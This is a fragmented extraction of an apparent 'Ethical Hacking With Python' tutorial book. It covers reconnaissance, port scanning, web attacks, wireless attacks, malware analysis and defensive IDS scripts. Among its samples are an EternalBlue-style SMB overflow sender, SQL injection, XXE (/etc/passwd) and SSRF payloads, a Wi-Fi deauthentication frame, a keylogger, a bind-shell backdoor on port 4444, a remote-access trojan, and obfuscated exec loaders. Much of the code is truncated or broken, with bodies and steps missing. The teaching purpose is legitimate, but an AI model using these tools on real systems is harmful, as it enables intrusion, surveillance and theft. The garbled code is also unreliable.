Ethical Hacking With Python 1726197057
Ethical Hacking With Python 1726197057
Python has become one of the most popular programming languages for
ethical hacking and cybersecurity due to its numerous advantages:
Python offers numerous libraries that are particularly useful for ethical
hacking and cybersecurity tasks. Here are some of the most popular ones:
1. Scapy: A powerful library for packet manipulation, network scanning,
and crafting custom network packets.
import requests
import requests
from bs4 import BeautifulSoup
links = soup.find_all('a')
for link in links:
print(f"Link: {link.get('href')}")
try:
ssh.connect('example.com', username='user',
password='password')
stdin, stdout, stderr = ssh.exec_command('ls -l')
print(stdout.read().decode())
finally:
ssh.close()
import nmap
print(f"Encrypted: {encrypted}")
decrypted = f.decrypt(encrypted)
print(f"Decrypted: {decrypted.decode()}")
print("Available exploits:")
for exploit in exploits:
print(exploit)
These libraries, along with many others, provide ethical hackers with
powerful tools to perform various security testing and analysis tasks
efficiently.
Once Kali Linux is installed, open a terminal and run the following
commands:
Create a dedicated directory for your ethical hacking projects and set up a
virtual environment:
mkdir ~/ethical_hacking
cd ~/ethical_hacking
python3 -m venv env
source env/bin/activate
Here's a basic Python script to help you document your lab setup:
import socket
import subprocess
import json
def get_ip_address():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
def get_installed_packages():
result = subprocess.run(['pip', 'list', '--
format=json'], capture_output=True, text=True)
return json.loads(result.stdout)
def document_lab_setup():
lab_info = {
"ip_address": get_ip_address(),
"hostname": socket.gethostname(),
"python_version": subprocess.run(['python', '--
version'], capture_output=True, text=True).stdout.strip(),
"installed_packages": get_installed_packages()
}
if __name__ == "__main__":
document_lab_setup()
This script will create a JSON file containing information about your lab
environment, including IP address, hostname, Python version, and installed
packages. You can run this script periodically to keep track of changes in
your lab setup.
By following these steps and guidelines, you'll have a basic ethical hacking
lab set up and ready for learning and practicing various cybersecurity
techniques. Remember to always use your lab responsibly and only for
educational purposes or authorized testing.
As you progress in your ethical hacking journey, you may want to expand
your lab with additional tools, target systems, and network configurations to
simulate more complex scenarios and practice advanced techniques.
Data Types
Python supports various data types that are essential for handling different
kinds of information in hacking scenarios. Here are some of the most
commonly used data types:
port_number = 80
num_attempts = 5
success_rate = 0.75
timeout = 1.5
3. Strings: Text data used for storing and manipulating textual
information.
target_ip = "192.168.1.1"
username = "admin"
is_vulnerable = True
has_permission = False
server_info = {
"ip": "10.0.0.1",
"os": "Linux",
"services": ["HTTP", "SSH", "FTP"]
}
Understanding these data types and their appropriate use cases is crucial for
effective Python programming in ethical hacking scenarios.
Control Structures
Control structures allow you to control the flow of your program and make
decisions based on certain conditions. The main control structures in Python
are:
for i in range(5):
attempt_connection()
try:
response = send_request(target_url)
except ConnectionError:
print("Failed to connect to the target")
except TimeoutError:
print("Request timed out")
Functions
Functions are reusable blocks of code that perform specific tasks. They help
in organizing code, improving readability, and promoting code reuse. Here's
an example of a function in Python:
Functions can take parameters, return values, and can be called multiple
times with different inputs. They are crucial for creating modular and
maintainable code in ethical hacking projects.
When using Python for cybersecurity and ethical hacking, you'll often work
with specialized libraries and modules designed for network programming,
web scraping, cryptography, and more. Some commonly used libraries
include:
def check_website(url):
try:
response = requests.get(url)
if response.status_code == 200:
print(f"Successfully connected to {url}")
print(f"Server:
{response.headers.get('Server')}")
else:
print(f"Failed to connect to {url}. Status code:
{response.status_code}")
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
This example demonstrates how Python can be used to interact with web
services, which is a common task in many ethical hacking scenarios.
# Good
target_ip = "192.168.1.1"
def scan_network(ip_range):
# function implementation
# Bad
x = "192.168.1.1"
def do_stuff(y):
# function implementation
try:
# Attempt to connect to the target
connection = establish_connection(target_ip,
target_port)
except ConnectionRefusedError:
print("Connection refused by the target")
except TimeoutError:
print("Connection attempt timed out")
def analyze_results(open_ports):
# Analysis of open ports
def generate_report(results):
# Report generation
analysis = analyze_results(open_ports)
generate_report(analysis)
5. Use appropriate data structures: Choose the right data structure for
your needs.
To run a Python script, you typically save it with a .py extension and then
execute it using the Python interpreter. Here's a basic example:
1. Create a file named port_scanner.py with the following content:
import socket
target_ip = "192.168.1.1"
for port in range(1, 1025):
if scan_port(target_ip, port):
print(f"Port {port} is open")
python port_scanner.py
This will execute your port scanning script and display the results in the
terminal.
import argparse
import socket
def main():
parser = argparse.ArgumentParser(description="Simple
port scanner")
parser.add_argument("target", help="Target IP address")
parser.add_argument("-p", "--ports", type=int, nargs=2,
default=[1, 1024],
help="Port range to scan (default:
1-1024)")
args = parser.parse_args()
target_ip = args.target
start_port, end_port = args.ports
print(f"Scanning {target_ip} for open ports...")
for port in range(start_port, end_port + 1):
if scan_port(target_ip, port):
print(f"Port {port} is open")
if __name__ == "__main__":
main()
This command will scan the IP address 192.168.1.1 for open ports in the
range 1-100.
Let's create a script that parses a log file to extract IP addresses and count
their occurrences:
import re
from collections import Counter
def parse_log_file(file_path):
ip_pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
ip_addresses = []
return Counter(ip_addresses)
def main():
log_file = 'access.log'
ip_counts = parse_log_file(log_file)
Data Scraping
import requests
from bs4 import BeautifulSoup
def scrape_headers(url):
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
headers = soup.find_all(['h1', 'h2', 'h3', 'h4',
'h5', 'h6'])
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
def main():
url = input("Enter the URL to scrape: ")
scrape_headers(url)
if __name__ == "__main__":
main()
This script:
import socket
import threading
from queue import Queue
def worker():
while True:
port = port_queue.get()
port_scan(target, port)
port_queue.task_done()
def main():
global target, port_queue
target = input("Enter the target IP address: ")
ports = int(input("Enter the number of ports to scan:
"))
thread_count = int(input("Enter the number of threads to
use: "))
port_queue = Queue()
for _ in range(thread_count):
t = threading.Thread(target=worker)
t.daemon = True
t.start()
port_queue.join()
if __name__ == "__main__":
main()
This script:
Here's a script that automates form submission and checks for basic
vulnerabilities:
import requests
from bs4 import BeautifulSoup
return response
def check_vulnerabilities(response):
vulnerabilities = []
return vulnerabilities
def main():
url = input("Enter the login URL: ")
username = input("Enter the username: ")
password = input("Enter the password: ")
vulnerabilities = check_vulnerabilities(response)
if vulnerabilities:
print("Potential vulnerabilities found:")
for vuln in vulnerabilities:
print(f"- {vuln}")
else:
print("No obvious vulnerabilities detected")
if __name__ == "__main__":
main()
This script:
Conclusion
Remember to always use these skills responsibly and only on systems you
have permission to test. Ethical hacking is about improving security, not
exploiting vulnerabilities for malicious purposes.
As you continue to develop your Python skills for ethical hacking, consider
exploring more advanced topics such as:
Passive Reconnaissance
Passive reconnaissance involves gathering information about the target
without directly interacting with it. This approach is less likely to be
detected by the target's security systems. Some common passive
reconnaissance techniques include:
Active Reconnaissance
WHOIS Lookup
import whois
def whois_lookup(domain):
try:
w = whois.whois(domain)
print(f"Domain Name: {w.domain_name}")
print(f"Registrar: {w.registrar}")
print(f"Creation Date: {w.creation_date}")
print(f"Expiration Date: {w.expiration_date}")
print(f"Name Servers: {w.name_servers}")
except Exception as e:
print(f"Error: {e}")
# Example usage
whois_lookup("example.com")
This script uses the python-whois library to perform a WHOIS lookup for
a given domain name and prints out relevant information such as the
registrar, creation date, expiration date, and name servers.
DNS Enumeration
import dns.resolver
def dns_enumerate(domain):
record_types = ['A', 'AAAA', 'NS', 'MX', 'TXT']
# Example usage
dns_enumerate("example.com")
This script uses the dnspython library to perform DNS enumeration for
various record types (A, AAAA, NS, MX, and TXT) for a given domain
name.
Python can be used to scrape data from various online sources and social
media platforms. Here's an example of how to gather information from a
website using Python and the requests library:
import requests
from bs4 import BeautifulSoup
def scrape_website(url):
try:
response = requests.get(url)
response.raise_for_status()
# Extract title
title = soup.title.string if soup.title else "No
title found"
print(f"Title: {title}")
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
# Example usage
scrape_website("https://example.com")
This script uses the requests library to fetch the content of a website and
the BeautifulSoup library to parse the HTML and extract relevant
information such as the title, meta description, and links.
For gathering data from social media platforms, you would typically need
to use their respective APIs. Here's an example of how to use the Twitter
API with Python:
import tweepy
auth = tweepy.OAuthHandler(consumer_key,
consumer_secret)
auth.set_access_token(access_token, access_token_secret)
api = tweepy.API(auth)
try:
tweets = api.search_tweets(q=query, count=count)
for tweet in tweets:
print(f"User: {tweet.user.screen_name}")
print(f"Tweet: {tweet.text}")
print(f"Created at: {tweet.created_at}")
print("---")
except tweepy.TweepError as e:
print(f"Error: {e}")
# Example usage
search_twitter("cybersecurity", count=5)
This script uses the tweepy library to authenticate with the Twitter API and
search for tweets containing a specific query. Note that you'll need to obtain
API credentials from Twitter to use this script.
# Example usage
target = "192.168.1.1"
ports = [21, 22, 80, 443, 3389]
tcp_syn_scan(target, ports)
This script performs a TCP SYN scan on the specified target IP address for
the given list of ports. It sends a TCP SYN packet to each port and analyzes
the response to determine if the port is open, closed, or filtered.
import nmap
ports = nm[host][proto].keys()
for port in ports:
state = nm[host][proto][port]['state']
service = nm[host][proto][port]['name']
version = nm[host][proto][port]['version']
print(f"Port {port}: {state} - {service}
{version}")
# Example usage
target = "192.168.1.1"
ports = "21-25,80,443"
nmap_scan(target, ports)
This script uses the python-nmap library to perform a port scan on the
specified target IP address for the given range of ports. It also attempts to
identify the services running on open ports using Nmap's version scanning
capabilities.
Identifying open ports and services
Both the Scapy and Nmap examples above demonstrate how to identify
open ports and services on target systems. The Scapy example focuses on
determining the state of ports (open, closed, or filtered), while the Nmap
example provides more detailed information about the services running on
open ports, including version information.
1. Open ports: Identify which ports are open and what services are
running on them. Common ports and their associated services include:
Here's an example of how you might automate the process of checking for
known vulnerabilities based on scan results:
import requests
try:
response = requests.get(base_url, params=params)
response.raise_for_status()
data = response.json()
if data["totalResults"] > 0:
print(f"Potential vulnerabilities for {service}
{version}:")
for result in data["result"]["CVE_Items"]:
cve_id = result["cve"]["CVE_data_meta"]
["ID"]
description = result["cve"]["description"]
["description_data"][0]["value"]
print(f" {cve_id}: {description[:100]}...")
else:
print(f"No known vulnerabilities found for
{service} {version}")
except requests.exceptions.RequestException as e:
print(f"Error checking vulnerabilities: {e}")
# Example usage
check_vulnerabilities("Apache", "2.4.29")
This script uses the National Vulnerability Database (NVD) API to search
for known vulnerabilities associated with a specific service and version. It
can be integrated with your network scanning results to automatically check
for potential vulnerabilities in the identified services.
1. Port scanning: Use libraries like nmap or scapy to scan for open ports
on target systems.
2. Service enumeration: Identify running services and their versions on
open ports.
3. Vulnerability database integration: Integrate with vulnerability
databases like CVE to match identified services with known
vulnerabilities.
4. Custom checks: Implement specific checks for common
misconfigurations or weaknesses.
5. Reporting: Generate comprehensive reports of identified
vulnerabilities.
import socket
import sys
if __name__ == "__main__":
target = sys.argv[1]
start_port = int(sys.argv[2])
end_port = int(sys.argv[3])
scan_ports(target, start_port, end_port)
import ssl
import socket
if __name__ == "__main__":
check_ssl_version("example.com", 443)
This script connects to a specified hostname and port using SSL/TLS and
prints out the SSL/TLS version and cipher being used. This information can
be used to identify potentially weak or outdated configurations.
A buffer overflow occurs when a program writes more data to a buffer than
it can hold, causing the excess data to overflow into adjacent memory
locations. This can lead to program crashes, data corruption, or even
arbitrary code execution.
The payload is then written to a file, which can be used as input to the
vulnerable program.
import socket
import struct
def create_smb_packet():
# Simplified SMB packet structure
packet = b"\x00" # Session message
packet += b"\x00\x00\xc0" # Length
packet += b"\xfeSMB" # SMB header
# ... (additional SMB header fields)
# Overflow data
packet += b"A" * 800 # Padding
packet += struct.pack("<I", 0x08000000) # Overwrite
Next Parameter offset
packet += b"B" * 4 # Overwrite WCT and BCC fields
packet += b"C" * 4 # Overwrite pointer to
READ_ANDX_RESPONSE_STRUCT
packet += b"D" * 16 # Overwrite
READ_ANDX_RESPONSE_STRUCT
return packet
sock.close()
if __name__ == "__main__":
send_exploit("192.168.1.100", 445)
This example is greatly simplified and does not include the full complexity
of the EternalBlue exploit. In practice, developing such an exploit requires
in-depth knowledge of the SMB protocol, Windows internals, and exploit
development techniques.
Python provides powerful libraries for web scraping, HTTP requests, and
HTML parsing, making it an excellent choice for automating web
application exploits. Two commonly used libraries are requests for
making HTTP requests and BeautifulSoup for parsing HTML.
Here are some examples of how Python can be used to automate web
exploits:
SQL Injection
import requests
# Example usage
url = "http://vulnerable-site.com/user.php"
payload = "1' OR '1'='1"
result = sql_injection(url, payload)
print(result)
import requests
from bs4 import BeautifulSoup
def find_xss_vulnerabilities(url):
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
potential_vulnerabilities = []
if test_payload in post_response.text:
potential_vulnerabilities.append({
'form': form.get('action'),
'input': input_field.get('name')
})
return potential_vulnerabilities
# Example usage
url = "http://vulnerable-site.com/search.php"
vulnerabilities = find_xss_vulnerabilities(url)
for vuln in vulnerabilities:
print(f"Potential XSS vulnerability found in form
{vuln['form']}, input {vuln['input']}")
This script searches for forms on a web page, then tests each input field for
XSS vulnerabilities by submitting a test payload and checking if it's
reflected in the response.
import requests
def csrf_token_bypass(url, login_data):
session = requests.Session()
# Attempt login
response = session.post(url, data=login_data)
if "Welcome" in response.text:
print("Login successful, potential CSRF
vulnerability!")
else:
print("Login failed or CSRF protection in place.")
return response.text
# Example usage
url = "http://vulnerable-site.com/login.php"
login_data = {
"username": "testuser",
"password": "testpass"
}
result = csrf_token_bypass(url, login_data)
print(result)
This script attempts to bypass CSRF protection by extracting and using any
CSRF tokens present in the login form. If login is successful without a valid
CSRF token, it may indicate a vulnerability.
import requests
if response.status_code == 200:
vulnerable_resources.append(resource_id)
return vulnerable_resources
# Example usage
base_url = "http://vulnerable-site.com/user_profile"
id_range = (1, 100) # Test IDs from 1 to 100
vulnerabilities = test_idor(base_url, id_range)
for vuln_id in vulnerabilities:
print(f"Potential IDOR vulnerability: accessible
resource at ID {vuln_id}")
import requests
# Example usage
url = "http://vulnerable-site.com/process_xml.php"
xml_payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>
<data>&xxe;</data>
</root>
"""
import requests
# Example usage
url = "http://vulnerable-site.com/fetch_url.php"
target_url = "http://internal-server.local/sensitive_data"
result = test_ssrf(url, target_url)
print(result)
This script tests for SSRF vulnerabilities by attempting to make the server
fetch a potentially internal URL.
import itertools
import string
import time
# Example usage
target_password = "python3"
brute_force_attack(target_password)
dictionary_attack(target_password, "common_passwords.txt")
Both functions keep track of the number of attempts and the time taken to
crack the password.
To use this script effectively, you would need to create a file named
common_passwords.txt containing a list of common passwords, one per
line.
Weak passwords
Unpatched router firmware
Misconfigured access points
Man-in-the-middle attacks
Evil twin attacks
Deauthentication attacks
Python, combined with libraries like Scapy, can be a powerful tool for
wireless network analysis and testing. Here are some examples of what you
can do:
Wi-Fi Scanning
def wifi_scan():
print("Scanning for Wi-Fi networks...")
networks = {}
def packet_handler(pkt):
if pkt.haslayer(Dot11Beacon):
bssid = pkt[Dot11].addr2
ssid = pkt[Dot11Elt].info.decode()
channel = int(ord(pkt[Dot11Elt:3].info))
wifi_scan()
This script will scan for Wi-Fi networks for 30 seconds and print out the
BSSID (MAC address), SSID (network name), and channel for each
detected network.
Deauthentication Attack
# 802.11 frame
# addr1: destination MAC
# addr2: source MAC
# addr3: Access Point MAC
pkt = RadioTap()/Dot11(type=0, subtype=12,
addr1=target_mac, addr2=gateway_mac,
addr3=gateway_mac)/Dot11Deauth(reason=7)
While it's possible to implement parts of this process in Python, many of the
steps require low-level access to the network interface that's easier to
achieve with specialized tools. However, we can use Python to automate the
process of running these tools.
Here's a script that demonstrates how you might use Python to automate the
password cracking process using aircrack-ng:
import subprocess
import os
# Example usage
interface = "wlan0mon"
bssid = "00:11:22:33:44:55"
channel = 6
output_file = "capture"
wordlist = "/path/to/wordlist.txt"
Note that this script assumes you have already put your wireless interface
into monitor mode and have the necessary tools (airodump-ng, aircrack-ng)
installed. It also requires root privileges to run.
Defensive Measures
Understanding these attack techniques is valuable for developing effective
defenses. Here are some ways to protect against password cracking and
wireless network attacks:
Conclusion
Password cracking and wireless network hacking are powerful techniques
that can be used for both offensive and defensive purposes in cybersecurity.
Understanding these methods is crucial for security professionals to
effectively protect systems and networks.
However, it's important to remember that these tools and techniques are
dual-use: they can be used for both legitimate security testing and malicious
attacks. Always use this knowledge responsibly and ethically, and ensure
you have proper authorization before attempting any security testing on
systems or networks you don't own.
import pefile
def analyze_pe_file(file_path):
pe = pefile.PE(file_path)
print(f"Entry Point:
{hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint)}")
print(f"Image Base:
{hex(pe.OPTIONAL_HEADER.ImageBase)}")
for section in pe.sections:
print(f"Section:
{section.Name.decode().rstrip('\x00')}")
print(f" Virtual Address:
{hex(section.VirtualAddress)}")
print(f" Raw Size: {hex(section.SizeOfRawData)}")
analyze_pe_file("suspicious_file.exe")
rules = yara.compile(filepath='malware_rules.yar')
matches = rules.match('suspicious_file.bin')
def malware_analysis(ql):
ql.log.info(f"Syscall: {ql.syscall.name}")
ql = Qiling(["suspicious_file.exe"], "C:\\Windows")
ql.hook_code(malware_analysis)
ql.run()
def packet_callback(packet):
if packet.haslayer(HTTP):
print(f"HTTP Request: {packet[HTTP].Method}
{packet[HTTP].Path}")
import r2pipe
r2 = r2pipe.open("suspicious_file.exe")
print(r2.cmd("aaa")) # Analyze all referenced code
print(r2.cmd("afl")) # List all functions
print(r2.cmd("pdf @ main")) # Disassemble main function
clf = RandomForestClassifier(n_estimators=100)
clf.fit(X_train, y_train)
import subprocess
import os
def run_in_sandbox(file_path):
sandbox_dir = "/tmp/sandbox"
os.makedirs(sandbox_dir, exist_ok=True)
os.chdir(sandbox_dir)
import jinja2
def generate_report(analysis_results):
template = jinja2.Template("""
<html>
<body>
<h1>Malware Analysis Report</h1>
<h2>File Information</h2>
<p>MD5: {{ results.md5 }}</p>
<p>SHA256: {{ results.sha256 }}</p>
<h2>Behavior Analysis</h2>
<ul>
{% for behavior in results.behaviors %}
<li>{{ behavior }}</li>
{% endfor %}
</ul>
</body>
</html>
""")
return template.render(results=analysis_results)
report_html = generate_report(analysis_results)
with open("report.html", "w") as f:
f.write(report_html)
logging.basicConfig(filename="keylog.txt",
level=logging.DEBUG, format="%(asctime)s: %(message)s")
def on_press(key):
logging.info(str(key))
This script uses the pynput library to capture keystrokes and logs them to a
file named keylog.txt . In a real-world scenario, an attacker might use
more sophisticated methods to hide the log file or transmit the data to a
remote server.
import socket
import subprocess
def execute_command(command):
return subprocess.check_output(command, shell=True)
while True:
conn, addr = s.accept()
print(f"Connection from: {addr}")
while True:
data = conn.recv(1024).decode()
if not data:
break
output = execute_command(data)
conn.send(output)
conn.close()
start_backdoor("0.0.0.0", 4444)
This script creates a simple server that listens for incoming connections.
When a connection is established, it allows the remote user to execute shell
commands on the host system. This type of backdoor could be used by
attackers to maintain persistent access to a compromised system.
import socket
import subprocess
import os
import pyautogui
class RAT:
def __init__(self, host, port):
self.host = host
self.port = port
self.socket = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
def connect(self):
self.socket.connect((self.host, self.port))
def take_screenshot(self):
screenshot = pyautogui.screenshot()
screenshot.save("screenshot.png")
return open("screenshot.png", "rb").read()
def run(self):
while True:
command = self.socket.recv(1024).decode()
if command.lower() == "exit":
break
elif command.lower() == "screenshot":
self.socket.send(self.take_screenshot())
else:
output = self.execute_command(command)
self.socket.send(output)
self.socket.close()
This RAT allows remote command execution and can take screenshots of
the infected system. In a real-world scenario, a RAT would likely have
many more features, such as keylogging, file transfer, and webcam access.
Ethical hackers and penetration testers use tools similar to these to identify
vulnerabilities in systems and demonstrate the potential impact of a
successful attack. However, it's crucial to emphasize that these tools should
only be used with explicit permission and in controlled environments.
1. Static Analysis
Static analysis involves examining the code without executing it. For
Python, this often starts with analyzing the source code if available, or
decompiling bytecode if only the .pyc files are present.
If you have access to the source code, you can directly inspect it. Look for:
Imported modules
Function definitions
String literals (especially URLs, file paths, or encoded data)
Comments (if any)
def analyze_python_file(file_path):
with open(file_path, 'r') as file:
tree = ast.parse(file.read())
analyze_python_file("suspicious_file.py")
b) Bytecode Analysis:
If only .pyc files are available, you can use tools like uncompyle6 to
decompile them:
import uncompyle6
def decompile_pyc(file_path):
with open("decompiled.py", "w") as output_file:
uncompyle6.decompile_file(file_path, output_file)
decompile_pyc("suspicious_file.pyc")
2. Dynamic Analysis
a) Debugging:
Use Python's built-in pdb debugger or more advanced tools like pudb to
step through the code execution:
import pdb
def analyze_suspicious_code():
pdb.set_trace()
# Insert suspicious code here
print("Suspicious operation")
analyze_suspicious_code()
sys.settrace(trace_calls)
c) Sandboxing:
import subprocess
import os
def run_in_sandbox(script_path):
sandbox_dir = "/tmp/sandbox"
os.makedirs(sandbox_dir, exist_ok=True)
os.chdir(sandbox_dir)
run_in_sandbox("/path/to/suspicious_script.py")
3. Network Analysis
For malware that communicates over the network, analyzing its traffic can
provide valuable insights.
a) Packet Capture:
Use tools like Wireshark or Python's scapy library to capture and analyze
network traffic:
def packet_callback(packet):
if packet.haslayer(HTTP):
print(f"HTTP Request: {packet[HTTP].Method}
{packet[HTTP].Path}")
b) DNS Analysis:
def analyze_dns(domain):
try:
answers = dns.resolver.resolve(domain, 'A')
for rdata in answers:
print(f"Domain {domain} resolves to IP:
{rdata.address}")
except dns.resolver.NXDOMAIN:
print(f"Domain {domain} does not exist")
analyze_dns("suspicious-domain.com")
4. Memory Analysis
a) Memory Dumping:
b) Memory Analysis:
analyze_memory_dump("/path/to/memory_dump")
1. String Encryption
Example:
def decrypt(s):
return ''.join(chr(ord(c) ^ 0x33) for c in s)
evil_domain = decrypt("ybcf/qig/ki") # actually
"evil.com.ru"
2. Code Obfuscation
Example:
exec(''.join(chr(ord(c)^42) for c in
"\\x0f\\x1a\\x0b\\x0b\\x1a\\x46\\x12\\x1a\\x07\\x0b\\x18\\x4
d\\x46\\x5d\\x5d"))
Example:
4. Anti-Debugging Techniques
Technique: The malware attempts to detect if it's being debugged and alters
its behavior.
Example:
import sys
5. Environment Checks
Example:
import platform
if platform.system() != "Windows":
sys.exit() # Only run on Windows
Counter: Set up analysis environments that match the expected conditions.
6. Timing-Based Evasion
Example:
import time
start_time = time.time()
time.sleep(10)
if time.time() - start_time < 9.9:
sys.exit() # Exit if sleep was shorter than expected
(indicating time manipulation)
7. Code Injection
Technique: The malware injects code into other running processes to evade
detection.
Example:
import ctypes
Example:
import zlib
import base64
packed_code = base64.b64encode(zlib.compress(b"print('I am
evil')"))
exec(zlib.decompress(base64.b64decode(packed_code)))
1. Static Analysis Tools: Use advanced static analysis tools that can
detect and sometimes automatically deobfuscate common obfuscation
techniques.
2. Dynamic Analysis: Run the code in controlled environments, using
debuggers and tracers to observe its behavior regardless of
obfuscation.
3. Emulation: Use emulators to run the code in a controlled
environment, allowing for fine-grained control and observation.
4. Code Transformation: Develop tools to automatically transform
obfuscated code into more readable forms.
5. Pattern Recognition: Build databases of known obfuscation
techniques and their signatures to quickly identify and counter them.
6. Manual Analysis: Sometimes, there's no substitute for manual code
review and reverse engineering, especially for novel or highly
sophisticated obfuscation techniques.
import ast
import astunparse
class DeobfuscationTransformer(ast.NodeTransformer):
def visit_Call(self, node):
if isinstance(node.func, ast.Name) and node.func.id
== 'exec':
if len(node.args) == 1 and
isinstance(node.args[0], ast.Call):
inner_call = node.args[0]
if isinstance(inner_call.func,
ast.Attribute) and inner_call.func.attr == 'join':
# This looks like our obfuscated
pattern, let's try to deobfuscate
try:
deobfuscated =
eval(astunparse.unparse(node.args[0]))
return
ast.parse(deobfuscated).body[0]
except:
pass
return node
def deobfuscate_file(file_path):
with open(file_path, 'r') as file:
tree = ast.parse(file.read())
transformer = DeobfuscationTransformer()
new_tree = transformer.visit(tree)
return astunparse.unparse(new_tree)
print(deobfuscate_file("obfuscated_script.py"))
To build a basic IDS using Python, we'll leverage several libraries and
concepts:
Let's start by creating a simple IDS that monitors incoming TCP traffic and
detects potential port scanning attempts:
# Configure logging
logging.basicConfig(filename='ids.log', level=logging.INFO,
format='%(asctime)s - %(message)s')
def analyze_packet(packet):
if packet.haslayer(TCP):
src_ip = packet[IP].src
dst_port = packet[TCP].dport
def start_sniffing():
sniff(filter="tcp", prn=analyze_packet)
if __name__ == "__main__":
print("Starting IDS...")
sniff_thread = threading.Thread(target=start_sniffing)
sniff_thread.start()
sniff_thread.join()
class TrafficAnalyzer:
def __init__(self, window_size=100):
self.window_size = window_size
self.packet_sizes = []
self.mean = 0
self.std_dev = 0
self.mean = np.mean(self.packet_sizes)
self.std_dev = np.std(self.packet_sizes)
def analyze_packet(packet):
# ... (previous code)
if packet.haslayer(IP):
packet_size = len(packet)
traffic_analyzer.update(packet_size)
if traffic_analyzer.is_anomaly(packet_size):
logging.warning(f"Anomalous packet size
detected: {packet_size} bytes")
class AnomalyDetector:
def __init__(self, n_estimators=100, contamination=0.1):
self.model =
IsolationForest(n_estimators=n_estimators,
contamination=contamination)
self.features = []
def train(self):
if len(self.features) > 100:
self.model.fit(self.features)
def analyze_packet(packet):
# ... (previous code)
if packet.haslayer(IP):
feature = [len(packet), packet[IP].ttl,
packet[IP].proto]
anomaly_detector.update(feature)
if anomaly_detector.is_anomaly(feature):
logging.warning(f"Anomalous packet detected:
{feature}")
def analyze_http(packet):
if packet.haslayer(HTTP):
method = packet[HTTP].Method.decode()
path = packet[HTTP].Path.decode()
One of the key aspects of network hardening is ensuring that all systems are
properly configured and up-to-date. Python can help automate these tasks,
making it easier to maintain a secure network environment.
1. Automating Software Updates
Create a script to check for and apply software updates on multiple systems:
import paramiko
import subprocess
try:
client.connect(hostname, username=username,
password=password)
# Upgrade packages
stdin, stdout, stderr = client.exec_command("sudo
apt-get upgrade -y")
print(f"Upgrading packages on {hostname}")
print(stdout.read().decode())
except Exception as e:
print(f"Error updating {hostname}: {str(e)}")
finally:
client.close()
2. Configuring Firewalls
import subprocess
def configure_firewall():
# Flush existing rules
subprocess.run(["iptables", "-F"])
# Save rules
subprocess.run(["iptables-save", ">",
"/etc/iptables/rules.v4"])
configure_firewall()
import nmap
import datetime
def scan_network(network):
nm = nmap.PortScanner()
nm.scan(hosts=network, arguments='-sV -O')
report += "\n"
Python can be used to create scripts that enforce network policies and
secure communication channels. Here are some examples:
import re
def check_password_strength(password):
if len(password) < 12:
return False, "Password must be at least 12
characters long"
def enforce_password_policy():
while True:
password = input("Enter a new password: ")
is_valid, message =
check_password_strength(password)
if is_valid:
print(message)
return password
else:
print(f"Invalid password: {message}")
new_password = enforce_password_policy()
def packet_callback(packet):
nonlocal total_bytes
total_bytes += len(packet)
total_bytes = 0
nonlocal start_time
start_time = time.time()
class SecureChannel:
def __init__(self, key):
self.key = key
def secure_server():
key = get_random_bytes(32) # 256-bit key
channel = SecureChannel(key)
server_socket = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
server_socket.bind(('localhost', 12345))
server_socket.listen(1)
while True:
encrypted_message = client_socket.recv(1024)
if not encrypted_message:
break
decrypted_message =
channel.decrypt(encrypted_message)
print(f"Received: {decrypted_message}")
client_socket.close()
server_socket.close()
secure_server()
Create a script to analyze log files and detect potential security incidents:
import re
import datetime
def analyze_log_file(log_file):
suspicious_patterns = [
r'(?i)failed login',
r'(?i)access denied',
r'(?i)unauthorized access',
r'(?i)sql injection',
r'(?i)xss attack'
]
incidents = []
incidents.append({
'timestamp': timestamp,
'pattern': pattern,
'log_entry': line.strip()
})
return incidents
def generate_incident_report(incidents):
report = "Incident Report\n\n"
for incident in incidents:
report += f"Timestamp: {incident['timestamp']}\n"
report += f"Pattern Detected:
{incident['pattern']}\n"
report += f"Log Entry: {incident['log_entry']}\n\n"
log_file = 'server.log'
incidents = analyze_log_file(log_file)
generate_incident_report(incidents)
return suspicious_activity
def generate_network_report(suspicious_activity):
report = "Network Traffic Analysis Report\n\n"
for activity in suspicious_activity:
report += f"Timestamp: {activity['timestamp']}\n"
report += f"Source IP: {activity['src_ip']}\n"
if 'dst_ip' in activity:
report += f"Destination IP:
{activity['dst_ip']}\n"
if 'dst_port' in activity:
report += f"Destination Port:
{activity['dst_port']}\n"
if 'query' in activity:
report += f"DNS Query: {activity['query']}\n"
report += f"Activity: {activity['activity']}\n\n"
interface = 'eth0'
duration = 300 # 5 minutes
suspicious_activity = analyze_network_traffic(interface,
duration)
generate_network_report(suspicious_activity)
def block_ip(ip_address):
try:
subprocess.run(['iptables', '-A', 'INPUT', '-s',
ip_address, '-j', 'DROP'], check=True)
print(f"Blocked IP address: {ip_address}")
return True
except subprocess.CalledProcessError:
print(f"Failed to block IP address: {ip_address}")
return False
def quarantine_system(hostname):
try:
subprocess.run(['ssh', hostname, 'shutdown', '-h',
'now'], check=True)
print(f"Quarantined system: {hostname}")
return True
except subprocess.CalledProcessError:
print(f"Failed to quarantine system: {hostname}")
return False
try:
with smtplib.SMTP('smtp.example.com', 587) as
server:
server.starttls()
server.login(sender, 'password')
server.send_message(msg)
print(f"Alert sent to {recipient}")
return True
except Exception as e:
print(f"Failed to send alert: {str(e)}")
return False
def automated_threat_containment(threat):
if threat['type'] == 'malicious_ip':
if block_ip(threat['ip_address']):
send_alert('Malicious IP Blocked', f"Blocked IP
address: {threat['ip_address']}", '[email protected]')
elif threat['type'] == 'compromised_system':
if quarantine_system(threat['hostname']):
send_alert('System Quarantined', f"Quarantined
system: {threat['hostname']}", '[email protected]')
else:
print(f"Unknown threat type: {threat['type']}")
# Example usage
threats = [
